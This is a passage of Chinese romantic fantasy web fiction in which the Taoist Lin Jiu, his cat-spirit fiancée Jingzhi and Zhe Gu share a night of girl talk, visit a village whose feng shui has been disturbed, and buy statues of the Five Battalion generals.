林九伸出的手渐渐放下,“静之……” 声音里满是不可置信,和一丝不易察觉的失落。 猫咪回头,“阿九,你还在啊?” “……” 林九不甘心:“你……” 小猫爪朝他扬了扬,“晚上我跟蔗姑睡,你自己睡哦,今晚我也会好好修炼的,你放心!” 林九:他介意的是这个吗?? 蔗姑嘴角都要咧到耳朵后面了,以免她师兄后悔,她快步走进房里,然后把门关上。 想了想,把门栓也带上,窗户关上,上锁,o了~ 门外。 林九把气撒在秋生身上。 “从哪里带回来的,就去哪里把她的尸首找出来!” 秋生一脸懵逼,“师父,我上哪里找啊,我又不认识她。” 林九背着手回头,悠悠的看了他一眼,“请鬼上身的把戏你不是用过好几次,看看她的记忆再去找。” 这小子,也是时候让他自己出去历练历练了。 “哦,对了,明天带上文才一起。” 二徒弟总不能就这样一直龟缩着,跟秋生一起出去多见见世面也好。 “哦!” …… 房间内,蔗姑躺在被子里,拿着根梳子,一下又一下,轻轻的帮静之梳着毛。 “你怎么不变回来啊?”她问。 静之叹了口气,幽幽说道:“还不是……” 算了,这种私密的事情,不能说给别人听。 木梳被打磨得很光滑,轻轻划拉到她的皮肤上,就跟按摩似的,舒服得静之不禁发出一声娇柔的嘤咛。 “嗯~蔗姑~再梳一梳脖子后面嘛~” 蔗姑被她叫得身子麻了半边,“你别叫,不然师兄以为我对你怎么了。” 嘴上虽然这样说着,她的手还是老老实实的给静之梳着脖子后的毛发。 直到整只猫被她梳得毛发顺溜,她才停手,然后把白白净净的猫一把搂进怀里。 “蔗,蔗姑!” 静之猝不及防被迫二次埋胸,吓得她话都说不利索了,“放,放开我,这样不太好吧。” 蔗姑把她微微提起来,脸埋进她的脖颈处狂吸,“有什么不好,我俩都是女的,你还不是人,没关系啦~” 她的声线有些荡漾,可见吸猫给她吸爽了。 静之:不是人?她怎么开心不起来…… 前爪推了推蔗姑的胸口。 真,真软,想踩。 小猫鼻子皱了皱,紧紧咬着牙忍住本能,好不容易才转了个身,从她怀里窜到她旁边。 “就是不合适。” “……嘁,那你变回来呗,你变回来我就不摸你,我师兄又不在这,变成人修炼不是更方便。” 没了猫,蔗姑干脆把双手枕在脑后,对着枕头旁边的静之说。 “……也行,我变回来,你帮我拿衣服。” 蔗姑有些惊讶,“你还不会将你身上的皮毛幻化成衣服啊?” 静之比她更惊讶,“还可以这样?” “怎么不可以,你把你的灵力运转到皮毛试试。” 静之想,她的便宜妈之所以没把这种法术教给她,该不会因为太简单了,以为她天生就会吧? 可她以前是人诶,哪里能想到这个层面去嘛…… 静之边心里吐槽,边生疏的把灵力引向周身。 在蔗姑的眼中,那只白猫周身突然发出淡淡的白色光芒,然后越来越亮,她不由眯了眯眼睛。 看清楚光芒里的女体时,她暗暗啧舌。 林正英那家伙,吃得可真好! 为什么这辈子她不是个男的?? 叮铃一声响,光芒尽失,猫咪大变活人。 一个穿着白色长裙,脖间带着金色精致铃铛的清丽女子,身姿婀娜躺在蔗姑身边。 细看之下,她长裙上浮动着点点白光,更衬得她不似凡间人。 “哇靠!”蔗姑挪近一点身子,朝静之扬眉:“你跟我师兄睡一起了,你们有没有……” “没有!”静之声线拔高,像是怕蔗姑不相信似的。 “啧,我都心动了,他这都能憋得住?他怎么不去当和尚!” 静之被她夸得都有些害羞了。 纤长的手指轻轻捏了捏蔗姑圆圆滑滑的脸蛋,“我也很喜欢你呢,蔗姑是个很好的人。” 蔗姑下意识与她对视。 静之清亮的眼神里满是认真和真诚,充满了对女性的欣赏和由衷的赞美。 厚脸皮的蔗姑头一遭红了脸。 此时此刻,她才真的觉得,这只小猫妖说要跟她做朋友,绝不是因为林九,她是在说真的。 蔗姑挠头,“嘿嘿,我也没那么好啦。” …… 一墙之隔。 林九眼皮直跳,他怎么觉得,就算是女人,也能把他的猫猫拐走啊? 就在他犹豫着要不要回去把静之抢回来时,隔壁突然传来咯咯咯的笑闹声。 “蔗姑,别乱摸,哈哈哈,痒!” “嘿~~你的好像比我的大。” “哈哈哈,哪有,别挠我痒痒!” “我比一比嘛,改天我们一起去买衣服啊,我知道一家成衣铺,里面肚兜的样式可多了,也有西洋肚兜,应该很适合你。” 静之的声音突然变小,“小点声,隔壁就是阿九的房间,别让他听到了,他可能不会让我穿呢。” 蔗姑一脸不耐扬了扬手,“谁管他,你穿得漂亮,穿得爽就行,我们女人啊,就是要对自己好点才不虚此生!” “而且,你怎么知道我师兄不喜欢?”蔗姑压低声音,“他面上不显,其实可闷骚了~” 静之红着脸把她的手从自己肋骨上面挪开,“那,那我们改天就去。” 蔗姑:“诶,那你们进行到哪一步啦?” 静之:“什么哪一步?” 蔗姑眉毛都要挑起飞了,“抱抱,亲亲,这个那个?” 静之【脸巨红版】:“…………哎呀,你别问嘛。” 蔗姑一怼一怼她的肩膀,“哎呀~有什么关系嘛。” 她把被子罩住两个人的头,“好了,这会能说了吧?” 静之看着她亮晶晶,充满期待的眼睛,支支吾吾半天,才把头埋进双手手掌心,闷闷的说: “……亲亲。” 蔗姑摸着她头顶羞到弹出来的猫耳朵,两只捻着泛起粉色的猫耳尖尖,往耳蜗里轻声说: “亲到什么程度啦?” 静之疯狂摇头,一张娟秀的脸烫得都把手心逼出手汗了。 “别问了~” 蔗姑嘴角越咧越大。 突然,她微微皱起眉头,轻轻摸着静之后脑勺柔顺的白发,语重心长的说: “我知道你很喜欢我师兄,不过没成亲前,可不能让他得逞哦,男人嘛,你越主动,他越不珍惜。” 静之抬头,愣愣的看着她,“是吗?” 她上辈子,跟这辈子,还有跟林风在一起的时候,好像都很主动诶。 难怪一开始二娣跟阿九都不理她,原来是她用错方法了?! 这晚,见多识广的蔗姑给静之支了不少男女之间相处的招,隔壁有人开始着急了。 …… 被冠上闷骚男称号的林九,这时把脑袋砸回枕头上,耳朵已经因为她们两个这段私密的对话红了个彻底。 话说,两个女孩子凑到一起,都会聊得这么……开吗? 而且,静之不会被他师妹教坏吧? …… 第147章 你把蔗姑还给我 一晚上聊得太开心,静之还是第一次起晚了。 蔗姑却不见了。 静之衣服都没来得及穿好,就开始找人。 “蔗姑?” 撩开白色蚊帐。 “蔗姑?” 走到屏风后面。 “蔗姑?” 桌子底下看看。 “蔗姑?” 打开衣柜。 “蔗姑?” 打开抽屉。 静之看着空空荡荡的房间,嘴巴突然慢慢撅了起来。 一定是他! 打开房门,冲到庭院里,一把揪住正在打太极的大叔。 “阿九,你把蔗姑还给我!” 林九掏掏快被震聋的耳朵,脸上的表情比她还委屈。 “她回去了。” 静之眼睛渐渐眯起,“你赶她回去了?” 林九收回扎马步的腿,也不管自己的领子还在她手里,两手环住她的腰,轻轻的把下巴放在她的肩窝上。 “静之……你都叫一早上蔗姑了,一出来就质问我?” 如果以前的委屈或多或少是装的,今早的林九是真委屈上了。 不过他对她的问话,总是会认真一一回应,“你起晚了,她说庙里有事,就先走了,我没赶她。” 第一次听到他这么低沉的语气,静之开始渐渐变得心虚。 “是,是吗?”她拍了拍他的肩膀,还是有些疑惑,“昨天她不是还想多留几天,怎么这么快就走了呢?” “不知道,她没多说。”他退开身子,从怀里掏出一封信给她,“她留了这个给你。” 静之接过信,急切的拆开。 林九看着她焦急的动作,眼睫渐渐垂落下来,挡住了眼里越发幽暗的光。 静之看了一会儿,才知道蔗姑是真有事。 “哦,昨晚她都没跟我说,今天有人要来找她领灵婴……” 她小心翼翼把信纸对折再对折,然后塞进信封里,再把信封塞进怀里。 眼睛亮晶晶的对着林九说:“阿九,她说等抓到凶手就带我去看戏诶,你去不去?” 这个年代连个电视都没有,她的娱乐就只剩下逗逗小僵尸跟林九了。 看戏嘛,倒是一个消遣时间的好主意。 林九:“……到时候再说吧。” 那个家伙,倒是会讨好她。 等抓到凶手,他第一件事一定不是看戏,而是找个好日子与她成亲。 看着那双因别人而变得亮晶晶的眼睛,林九心里尤为不爽。 于是抬手捂住她眼睛,头缓缓凑近,欲咬一口她的唇瓣以示惩罚。 堪堪触碰到她的唇,就被立在中间的手掌打断。 “蔗姑说没经过我的同意,你不能随便动手动脚,这是对我的不尊重。” 林九:“……” 蔗姑蔗姑,今天他不想从她口中再听到这两个字。 第148章 嘴闭上就不会吃到风 隔壁村的村长叫石大富,今年43岁。 他们整个村的人都姓石,人如其姓,石大富也是个认死理的人。 所以,尽管林九昨天在任家被下了面子,抢了单,他也没有去找他离村已久的表叔石坚来看风水。 其一,是他表叔一上茅山就彻底跟他们这些亲戚断了联系,常年不走动,那关系甚至比普通朋友还陌生。 其二,他认死理,石坚也认死理,脾气跟茅坑里的顽石一样,又臭又硬。 人家林九虽然经常板着脸,但是遇到人也会微笑着打声招呼再走。 他表叔就不同了,天王老子来了,他还是那副臭脸对着人,惹他不高兴了,说不定还要讽你几句,这谁受得了。 石大富有个儿子叫石成。 这会儿石成跟热锅上的蚂蚁一样,在义庄外院的屋檐下来回踱着步。 见林九久久不出来,他两步跨上台阶,脑袋伸进去开了一扇门的院子里不停张望。 “爹啊,他再不快点,我那池子鱼就都要翻白肚了!” 石大富抱臂,眼眸微阖,“稳着点,九叔会跟我们走的。” 他语气里的笃定,却让石成更加疑惑,“你确定?刚刚可是个姑娘出来开的门。” 他想,九叔昨天被下了面子,这会儿肯定正闷闷不乐,他倒是觉得林九不会来。 “要不,我们去找表爷爷?他是茅山大师兄,本事说不定更牛啊。” 石大富眼皮微抬,看着儿子眼含期待的天真模样,他从鼻腔里头轻哼了两声,笑了出来,“你打算出多少钱请他?” 石成是真实诚,也是真天真,他挠了挠头,“乡里乡亲的,而且他总会回来住的,水他也是要用的嘛,怎么也会帮上一把的吧?” 石大富呲笑,“他可不跟你讲亲情。” 他转头悠悠看着远处空中独独飘着的一朵云彩,斜眼睨他儿子,“你没听说吗?昨天他接了任家的单子,任家可是足足出了50个大洋,你请的动人家吗?” “咱家不是有五十大洋吗?” 石大富无语凝噎,好半晌才“咚”的一声,敲上石成的脑袋上,“你爹我的钱是大风刮来的??” “可……” 见石成还要说话,他举手制止,“行了,林九虽比我小一岁,但我能叫他一声九叔,你以为全是因为辈分吗?……唉,你多学着点吧,等会跟着我叫九叔。” “……爹,那不是差辈分了吗?” 石大富一梗,一脚立马踢了过去,“叫你叫,你就叫,废话什么!” 石成:“九叔!!” 石大富又是一脚过去,“不是现在叫,等会人家出来再叫,我怎么生了你这块番薯!” 石成弯腰揉着腿弯,一脸委屈指了指他后面,“爹,九叔来了。” 石大富回头一看,林九穿着一身藏蓝色袍子,精神抖擞的看着他微微一笑。 旁边还站着个女人。 石大富立马变了副嘴脸,上前两步,一脸热切的朝林九一拱手,“九叔,这回你可得帮帮老哥我了,事情——” 林九抬手下压,“我知道了,事情刚刚她都跟我讲了,走吧,你们村也算是挺远的,在事情没有发展到不可控的地步前,咱们抓紧点时间。” “好好好。”石大富右撤一步,将路让给他,“快请快请!” 林九刚锁好门,一转身就看到院外右侧停了辆马车。 石大富见他目光停留在马车上,他抬脚带路,“九叔,这是我家的,快上来快上来。” 马车离地一米多,林九长腿一蹬,稳稳站了上去。 转身欲伸手扶一把静之,静之已经站到他后头,低头以询问的眼神看着他。 怎么不进去? 林九:……他就白操这个心。 两人坐进马车里,车都开始缓缓动起来了,迟迟看不见石大富进来。 “石村长,你……” 林九话还没说完,石大富打断他,“呵呵,我家这车不大,车厢里坐两个人刚好,没事儿,我坐外头一样。” 石大富可不敢坐进去,林九虽然对大家都很有礼貌,但是是客气带着一点疏离的那种。 刚刚他对这位姑娘,可不是这样的。 那股子怎么掩饰也掩盖不住的亲昵劲儿,从他眼里流了出来。 见他不进来,林九也不强求,看着把头伸出窗外看了许久的静之,他忍不住轻咳了一声。 静之没反应,反而手向后给他拍拍背,“是不是风驰电掣啊,把嘴巴闭上就不会吃到风了,马车跑得就是一个字,快!” 林九:“…………” 怄死他算了。 他撩下她的手,恨恨咬了一口。 “嘶~” 石大富侧头看去,那姑娘已经把头缩了回去,他不敢撩开帘子,又怕路上颠簸,给人家颠坏了,于是关心一句: “是不是成儿车赶太快了?姑娘你坐好哈,郊外比较颠簸,等会到镇上,路就好走了。” “……好。” 她朝外应了一声,然后赶紧把自己的食指从林九的嘴巴里解救出来,又揉着他板起的脸,对他做了个嘴型: 【讨厌!】 林九接过她的手指,轻轻揉着上头的牙印。 静之垂眸看了一会儿,突然想到什么,又朝外头问: “石大叔,还要进镇吗?看风水不是要到山上去?” 石大富微微一愣。 这姑娘,不是本地的吧? “要去的地方有些远,要穿过隔壁镇才能到。” 静之哦了一声,又沉寂下去。 这种摇摇晃晃的感觉,让她有些怀念。 上辈子,跟二娣坐牛车就是这样的呢,不过牛车倒是比马车稳一些,因为牛拉得慢。 这车厢里头可坐的地方,是实木材质的一块长条板子,40厘米左右宽度。 村长估计也是个勤快人,维护得很好,还给它打了蜡。 随着马车摇晃颠簸,静之滑过来,滑过去的,一时玩得好不开心。 林九被她挤到车厢角落里,一时有些无语。 看了一会儿,林九实在忍不住,于是一把搂住她的腰身,把她禁锢在自己旁边。 “别乱动,等会衣服坏了。” 静之低头看着泛出点点流光的裙子,笑眯眯的凑近他耳边说: “不会坏,这是我的皮毛变的。” 林九:“……那也别玩。” 他侧头悄悄说:“寻常人可能看不出来,有道行的人可不一定。下次出门前,记得换回普通衣服。” “知道啦,这不是人家着急要走嘛。”静之捏住他的手指头,不住的揉来揉去。 林九低下头看了她一眼,刚想再说点什么,垂下的眸子却眼尖的看到她半敞开的领口。 领口处还有他刚刚吮出来的几个草莓印子,林九一阵脸热。 他赶紧上手把松开的领口扣了回去,然后又把她披在身后的头发往前拨了拨。 “干什么?”她小声嘀咕。 林九没说话,又理了理她的衣服,见基本看不到了,他才坐正身子,一脸正人君子的样子,目不斜视清一下嗓子。 假正经。 这是静之对他此刻行为的评价。 然而正事在前,她也不会白目到在这种时候去撩拨他。 而且一米之外,就有两个外人在呢。 她微微侧头靠在他肩上,长长呼出一口气。 清晨新鲜的空气透过不时飘起的窗帘拂到她脸上,温暖的阳光也趁机洒了进来,晒得她暖洋洋的,困意逐渐升腾。 昨晚跟蔗姑实在聊太久,她都不知道蔗姑怎么还能起这么早…… 好困…… 眼睛彻底闭上,轻轻念叨了一声阿九后,脑袋一低,静之困到断片秒睡。 她的脑袋随着马车的颠簸,不是朝前晃,就是朝后悠。 在这种条件下,也难为她竟然还能睡得那么死。 林九实在看不下去,干脆挪着她的脑袋转移到自己大腿上固定。 右手轻轻梳理着她侧边的头发。 望着她甜美的睡颜,林九悄悄上手轻抚她的眉眼。 大手挡住直射她侧脸的阳光,眼睫轻颤,挠得他手心一阵酥痒,轻声的嘟囔突然从腿边传来: “阿九……zzz……你也别玩……zzz……” 林九手轻轻顿了一下,微微抬离她的脸,却依旧悬停在她眼部附近。 太阳太大了,不挡住一点,她怎么睡得香呢? 石大富没有挑动围帘,不过是颠簸之间,下意识回头从扬起的缝隙看了那么一眼。 九叔……看来好事将近了呢。 原来这么严肃的人,也是个宠老婆的汉子啊,真是看不出来。 …… 穿过一片森林,小镇还没到,倒是先到四目家附近了。 赶车到他家门口时,林九抽空去了一趟。 不容推辞,把钱给了四目以后,又迅速钻回车里。 四目撩开车窗上的布一看,“呦,还睡着呢,昨晚偷鸡去啦?” 林九没好气瞥他一眼,又把熟睡中的静之挪到自己腿上揽着,“好好照顾师弟,少跟一休吵架,我还有事,就不多留了。” “……嘁,我才懒得跟他吵!” 四目望着那远去的马车,抱臂站在路边,等看没影儿了,才穿过小路,上下抛着手中的荷包走进屋里。 一个不察,荷包的绳开了。 几块小金鱼他只抓住一块,剩下两块哐当两声掉在地上。 四目蹲下捡起一根,还有一根滚落到柜子底,他俯身伸手进去摸时,一双大脚突然出现在他眼前。 抬头一看,“哦哟,师弟,你来的正好。” 他摸出落满灰尘的小金鱼,吹了吹,连同手中两块一起交到他手中,“师兄叫我给你的。” “小王爷说好给我们的酬劳,也是三块,师兄他……没有给秋生留一点吗?” 四目拍着手走到门廊外,拿起水缸里的瓢舀水洗手。 “他最怕欠人家人情债了,你就收下吧。” 望着缸里的水,他想,他师兄可不是水,是冰。 也是最清的那一块冰。 现在,那块冰已经渐渐被静之这个妮子捂化了…… …… 第149章 是人为的 下车后,静之伸了个大大的懒腰,美美睡了一觉,感觉整个人都神清气爽了。 她朝前一看,林九跟村长并排走着,好像在讨论事情,那个叫石成的,亦步亦趋跟在他爹旁边。 静之饶有兴致摸了摸停在路边,正吃草的马的马鬃毛。 给人家摸生气,摇着脑袋,都快尥蹶子踹人了,她这才摸摸鼻子,快走两步跟上林九。 还没走到林九跟前,就看到他背在身后的右手,一张一合的,好像在活动筋骨。 他这是怎么了? 手麻? 知道他脸皮薄,静之也不好在外头帮他揉手,只是静静的跟在他身边,听他说话。 听了一会儿,全是专业术语,静之的狗脑子自动屏蔽那些话。 百无聊赖,眼珠子不听使唤的,开始四处打量了周围环境。 这座山头倒是跟任发和大帅那两块风水宝地不一样。 虽然位置同样是在山顶,但是四处绿荫环绕,耳边还隐有潺潺流水声传来。 跟着村长走出一片阴暗的小丛林后,眼前瞬间豁然开朗。 路边的小溪沿着崖顶直直冲向底下,扬起的细密水花甚至在今天甚好的阳光折射下,在不远处的空中投出一道浅浅的彩虹。 猫猫双手紧握,闭上眼睛虔诚许愿。 坏人快滚啊! 她要跟阿九成亲!!! 突然,空气中传来一股稻草燃烧的味道。 静之睁眼朝下一看,底下有个村庄笼罩在阳光中,几户人家的烟囱升起袅袅炊烟。 秋季也是丰收的季节,几亩被圈在房屋中间的稻谷黄了,勤快的人早早割完稻子,在田里燃起了晒干的稻草。 炊烟啊? 静之看了看快升到头顶的日头,现在应该十一点多了吧。 义庄没事的话,一向吃得早。 也不知道阿九饿不饿。 突然,一阵微风从刚刚的丛林入口吹了进来,白色的裙摆朝前飘起,几片略显枯黄的树叶从她头顶慢慢飘落到她眼前,随着风,一直卷到下头的村子里去了。 树叶都黄了,应该是秋天到了吧。 静之不做他想,转身便朝林九走去。 林九这会儿跟着村长从侧边的斜坡下去,已经快走到瀑布中段突出的一个小水池边了。 “本村四面环山,左边金盘献瑞,右边水射中堂,前展华庭鹤宇,后枕荆山翠玉,正合风水起之向,该丁财两聚的。” 就这格局,要啥有啥,林九想不通怎么还会出问题了。 石大富还没说话,石成憋了一路,就担心他那两条鱼,心里已经急得不行了。 他从他爹旁边跨过,跟林九站到同一块大石头上: “哪里还有财,九叔你快看,底下就是我刚挖不久的鱼塘,本打算做点贩鱼的买卖,奈何这些天我养的鱼苗都翻白肚了,我都快赔死了。” 话匣一开,石成滔滔不绝讲着这两天村子里的异常。 “还有我隔壁婶子养的那些鸡,这两天莫名犯了鸡瘟,都快死绝了。” “还有我家养的大黑,本来可乖了,最近一见人就跟疯了似的,狂叫不止!” 说话间,他还扯着林九的衣袖指向下方最气派的院子里的那棵歪脖子树。 静之挡住阳光眯眼看去,那黑狗正疯狂刨着树根,也不知道在干什么,是有些异常的样子。 听到前两桩事,林九以为是因为他们饲养不当造成的。 可黑狗的事儿,倒是有些玄乎。 五黑犬最是忠心护主,家养犬性情一般也温顺得很,除非……它遇到了什么不干净的东西。 林九定定的看着那狂躁的黑犬几秒,才转头问身后的石大富,“它对每个人都叫吗?” 石大富毫不犹豫点头,“没错,以前它可乖了,这两天突然就这样了。” 他有些不好意思的紧了紧手说:“不怕你知道,我给它请了兽医看,这还没看上病呢,它就给人家兽医给咬了,我只能把它拴起来。” “还有何特殊症状?” 石大富抬头思索,“眼睛泛红,口流涎水……哦,对了,它天天刨树,还吃不下东西,两天了,就喝了几口水,我都不知道它哪儿来的力气。” 第150章 五营神将 g省的秋季,白天热晚上冷。 正午时分,就算有树荫,静之跟林九这一路还是晒的不行,偏偏这边儿的水不能喝。 上马车后,静之跃跃欲试将自己的水壶递过去,“喝一口?” 林九看着她瓶身上的“静”字,眼眸微闪,伸手接过,然后在静之期待的眼神中,扬起脖子,薄唇张开,然后—— 不碰杯口,往自己嘴里倒水。 “……啧,在外面跟在家里两个样。”她小声嘀咕。 圈重点,她说【家里】。 林九一口水含在嘴里还没咽下,脸上先飘起两朵红云。 “九叔,你们什么成亲啊?”赶车的石成突然问。 “噗!” 林九化身成喷射壶,一口水有大半洒在了眼前的围帘上,一小部分呛进气管里,让他爆发出一阵猛烈的咳嗽。 “嘿~” 静之伸手给他拍背,另一手戳戳他肩膀,一脸揶揄小声问: “林道长,我们什么时候成亲啊~” 林九正襟危坐,慢条斯理掏出手帕,拭去唇边的水渍,然后斜她一眼。 说得跟成亲没她份儿似的。 为什么她不害羞啊? 林九(薄脸皮星人)完全不能理解她这种直球猫猫的心理。 他静默了一会儿,然后支支吾吾说:“快了。” 回答石成,也回答静之。 石成也就随口一问,得到答案后感叹两声真好命,就没然后了。 静之则是开始眯眼。 快了? 蔗姑说这是渣男敷衍女性最常见的用语。 什么时候结婚——快了。 什么时候生孩子——快了。 什么时候买房——快了。 除了床上不能快,其他的答案都是快了。 结局就是,啥也没捞着,赔了青春跟一腔爱恋。 啧,他斜她,那她也斜他。 静之 : (*???) (?︹? ) : 林九 嘿~他好容易脸红哦。 她家阿九这么纯情,才不是渣男呢! 静之两手把住他的脸,对准他微o的嘴,就亲了一口( ? 3?)…… 林九:从(′?_?`)变成(′? ? ?`) 静之:他真是可爱死了……受不了! 还想再亲一口,林九轻咳了一声,竖掌挡住她的嘴。 他极力压了压一直往上翘的嘴角,弯腰把车厢地上的两只蝙蝠用破布包起来放好。 “你要这东西干什么?不是说有毒?” 林九现在压根就不敢看她,眼睛直视前方那一片濡湿的帘子,轻声解释: “找凶手,这东西过了他的手,总会留下气息的。” 静之若有所思的看着那一小包蝙蝠,过了一会儿,又掀开一点帘子问外头的石成: “你们村,最近有没有见过什么生人啊?” 石成微微扯住手头上的缰绳,待悄悄放慢一点速度了,才皱眉思考。 “应该……没有吧,这几天我一直在研究我的鱼,鱼塘就在离村口不远的地方,如果来了生人,就算我看不到,我家大黑也会吠的。” 静之想到那条狗,嘴角不禁抽搐了一下,“你不是说,是个人经过它都会叫吗?那你怎么确定,它是对生人叫还是熟人叫呢?” “……也是哦。”石成挠头,“不过我确实没见过就是,要说陌生人的话,也就是我表爷爷这两天接了任家的单子,赶不及回茅山,这才回村住两天。” 突然,他转头伸出一根手指,眼神无比睿智。 “对了!那狗见到我表爷爷身边那个徒弟,居然不叫诶,是不是很神奇!” 静之和林九不约而同转头对视一眼。 “……是吗?” 静之:有猫腻。 林九好似突然想到什么,脸色渐渐沉了下去。 石成回头看了一眼路况,见已经走到官路上了,他这才回头开始滔滔不绝的讲: “是真的。大黑还好着的时候,我以为大黑第一次见到他俩,觉得面生,所以才凶他们。 结果有一回,我表爷爷自己一个人出门,经过我家时,大黑还是叫,然后他徒弟后脚经过的时候,大黑居然连嚎一声没有。” 静之:“那现在呢?” 石成耸耸肩:“现在它狗脑子不行了,见谁都嚎,没人也嚎。 今天早上出门的时候,它还咬死一只鸡呢,我看它是彻底疯了,唉。” “……你打算怎么处置它。”她问。 石成一直飞扬起的眉毛渐渐垂了下来,“我养了它五年,村里的人都怕它伤人,说要打死它,可我,可我实在舍不得……” 静之小声问林九:“这狗中了尸毒?” 林九也不是很确定,他停了一下,才缓缓说道: “一些症状有些像,但是中尸毒,眼睛不会变红,明天我们找好打井的位置,顺道过去看看。” 静之:“好。” 人潮声和叫卖声渐渐从前头传来。 林九撩起帘子,看了一眼外头。 “好了,到镇子口就行,麻烦你走这一趟了。” 石成挥手,“不麻烦不麻烦,明早我还来义庄接你们,这事儿还得麻烦九叔了。” 林九点头,提着那个小包袱,牵着静之下车走进小镇。 “阿九……”她有些欲言又止。 毕竟,这线索指向的人是他大师兄诶,她该怎么说,才不会伤了他们师兄弟的感情,虽然他俩看上去也没什么感情就是。 她微微转头,偷摸打量了一下他的脸色。 完球了,脸黑得很彻底。 她轻轻捏了捏他的手,在心里打了几遍腹稿后,才清了清嗓子说: “你——” 林九抬手,“我知道你要说什么,买点东西就回去吧,我有点事要做。” 静之抿了抿嘴,紧紧牵着他的手,有些不敢在这个时候同他搭话。 从街头走到街尾,林九沉着脸一路无言,眉心紧紧皱成个川字。 世人皆说他古板,可他们不知,他这师兄更是“秩序”这两个字的代言人。 黑就是黑,白就是白。 在他心里,永远没有模糊不清的灰色地带。 他不信,石坚会为了报复他,而拿他们的天敌作怪…… 静之眼睁睁看着他走进一家店里。 看着门前站着的那两个朝她微笑的纸人,她疑惑陡生。 抬脚跟在他后头走了进去。 目光触及之处,大部分东西义庄都有。 “你要买这些?你不是会做吗?”她问。 林九绕过一地的纸扎品,来到最里侧一处摆着众多泥塑的木柜边停了下来,抬手拿起一个三太子的塑像细看,“人无完人,我也不是什么都会做的。” 正在细细描绘神像的青叔听到声音,抬头一看,“呦,是阿九啊。” 林九微微弯腰,“青叔好,来买点东西。” 能让林九弯腰的人甚少。 青叔今年65岁了,是一游道。 这间店,他开了有四十多年,他修为可能没有林九高,但是会做的东西,可比林九多多了。 青叔扶了扶眼镜,眼神聚焦于他手中的东西,瞬间明了,“要五营神将?我刚做好了一套,摆在上头的落了灰,我给你拿新的去。” 林九将三太子神像摆了回去,“谢谢,麻烦你了。” 静之凑近细看架子上大大小小,完全像是民间艺术品的各种塑像,有些疑惑问道: “阿九,买这些做什么?” 林九还未回答,青叔拿着个木盒子出来,微笑着回答她: “五营神将,分为东南西北中,各一营,分别是张基清将军,萧其明将军,刘武秀将军,连忠宫将军,还有阿九刚刚手里拿的李哪吒元帅。” 刚要说起用法,他微微蹙眉,转头问林九,“阿九啊,镇上又不太平了?” 林九摇摇头,接过木盒子道了声谢谢,给了钱,才对他解释: “是石家村的风水被破坏了。” 静之走过去,揪了揪林九的袖子,一脸好奇问:“这五个塑像有什么作用啊?” 她接过林九手中盒子,打开一看,里头不仅有五个小小的塑像,还有几根旗子,感情这还是个套装组合? 青叔收了钱,缓缓坐回位置上,拿起描线的笔,却是未落笔于塑身上。 “驱妖赶魔,守卫一方平安,姑娘从未见过?” 静之将木盒的盖子盖上,大大方方朝他一笑,“学着呢,以后都会一一了解的。” 嫁鸡随鸡,嫁狗随狗,谁叫阿九是个道士呢,她不多学着点怎么行。 青叔哦了一声,转头问林九:“你徒弟?” 林九羞赧一笑,拿过盒子,左手却是紧紧牵住静之的右手,“不是,她是我未婚妻。” 青叔愣了一下,复又抬头多看了静之两眼,眉眼清正,落落大方,是个好姑娘。 他笑了笑说:“成亲的时候,记得叫我喝喜酒啊。” 林九紧了紧手,“一定。” 刚踏出青叔店铺门口,静之就看到左前方几个人在那边推推搡搡的。 定睛一看,是消失了一早上的秋生跟文才。 眼瞅着他俩快跟那两个男的打起来了,林九牵着静之快步走了过去。 “怎么回事?”林九声音里带着怒气。 他抬眼看了一眼此店的招牌——【怡红院】。 半敞开的院门里头,还有倚在红色柱子上正在打哈欠,可见是刚起床的姑娘们。 臭小子,叫他们出来找尸体,找到妓院来了! “师父,你听我解释!”秋生紧紧抱着手中的黑色坛子,有些慌张。 看着他们身后两个打手抬脚缓缓接近,手中还拿着狼牙棒跟粗棍子一扬一扬的,静之赶紧扯着他们远离此地。 “先走先走,此地不宜久留,这回你不解释清楚,看阿九不把你的屁股给打烂!” 第151章 不死的蝙蝠 静之揪着秋生来到一处小吃店,本想回义庄的林九无奈,只能跟着走。 文才怯怯的抬眼看向面色不是很好的两人,还有他师兄那快要掉下来的红耳朵。 他欲言又止,但看着秋生疼得呲哇乱叫的样子,他又有些不忍心。 于是小心翼翼接过秋生手里的坛子,嗫喏嘴说:“师父,不是你们想的那样的,我们找了一早上,才走到怡红院,刚要进去,你们就来了。” 进这种地方,他还有脸解释了?! 她可不认为是文才提出要进这种地方的,一定是秋生! 静之哼了一声,坐下跟身后走过来的老板报了一串菜名,然后抱着胳膊,冷眼看向秋生: “那地方,之前你还认为婷婷是从里头出来的,当时万分鄙夷,今天你就敢往里走了?要是阿九不拘着你的钱,你是不是就要流连烟花之地了?” 秋生揉着红耳朵,坐到她对面,偷偷瞄了一眼他斜对面的林九。 却发现林九今天心情好像很不好的样子,嘴角向下,看他的眼神冷得能掉冰渣子。 本来没什么的,被他俩这样质问般的看着,秋生一向溜得很的嘴皮子突然变得不太利索,“我,不是,哎呀!可冤死我了!” 他怕林九突然暴起打他一顿,顺了顺早上的记忆,然后嘴巴跟机关枪似的,将他的见闻一股脑儿说了出来: “我跟文才按照师父说的,让这女鬼附身看了她的记忆,她就是这里头一个卖唱的清倌,记忆里头她就是在怡红院里被害,所以我们才想要进去看看的,绝对绝对不是要做坏事啊。” 林九敲了敲桌面,“那也不该你进去拿人,你姨妈的店就在对面,让她看见了,该说我教徒不当了。” 秋生转头看向不远处胭脂铺的招牌,顿感自己有些鲁莽,但是他确实没想做坏事呀,看了林九两眼,唉了一声,彻底安静下来。 一个撇撇嘴,懒得再解释,一个拉不下脸来跟徒弟道歉。 两人就这么僵持住了。 外头明明人声鼎沸,店里面这桌几个人却安静的可怕。 林九闭眼揉了揉眉心,“吃饱饭你们去保安队走一趟,叫他们进去排查。” 吭了声,就算是道歉了吧,林九想。 秋生:“……哦。” 算了,这辈子想从他师父嘴里得到一句对不起,那是比登天还难。 文才安静如鸡,头低低玩着自己手指头,气都不敢大声喘。 知道是个误会,静之倒是有些不好意思了,于是叫来老板,又点了两个肉菜,然后转回头跟秋生赔礼道歉。 “对不起,冤枉你了。”她侧过脸挑起头发,把耳朵露出来给他,“来,不用怕你师父,给你拧一下,就当我们扯平了。” “噗嗤!”秋生被她这搞怪的样子逗得刚刚憋闷的心情都没了,一双桃花眼笑得弯弯,他朝林九努努嘴,俯下身子小声说: “我才不敢,拧一下,师父就敢记恨我一辈子!” 林九环着胸,慢悠悠瞥了他一眼,然后又缓缓闭上眼睛。 那一眼,暗含警告。 秋生摊手,“我就说吧。” 静之侧头看了一眼闭目养神的某人,嘴角渐渐上扬。 